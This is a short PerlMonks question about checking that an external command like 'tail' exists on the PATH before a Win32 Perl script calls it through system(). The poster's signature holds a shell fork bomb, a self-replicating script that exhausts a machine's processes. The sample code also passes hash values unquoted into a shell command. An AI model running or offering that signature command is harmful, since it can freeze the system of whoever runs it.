Hello fellow Monks,

The scripts that I write on Win32 often call out to external programs, rkill and tail being two common ones. I could rewrite some of these in pure-perl, but I'm lazy, low on time, and some of these scripts are inherited and not easily changed.

Anyways, my question is, how can I check for the existence of a command I'll be calling before I'm in too deep?

As an example, I have code which runs like so: 
foreach my $k (%serverlist) {
     system("tail \\\\$k\\logfiles\\$serverlist{$k}\\logfile.log --lin
+es=$lines > temp");
}

[download]
and I'd like to verify 'tail' is somewhere in my path before I call it.

Thanks all!!

ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

In reply to Verifiying an external program exists by ibanix

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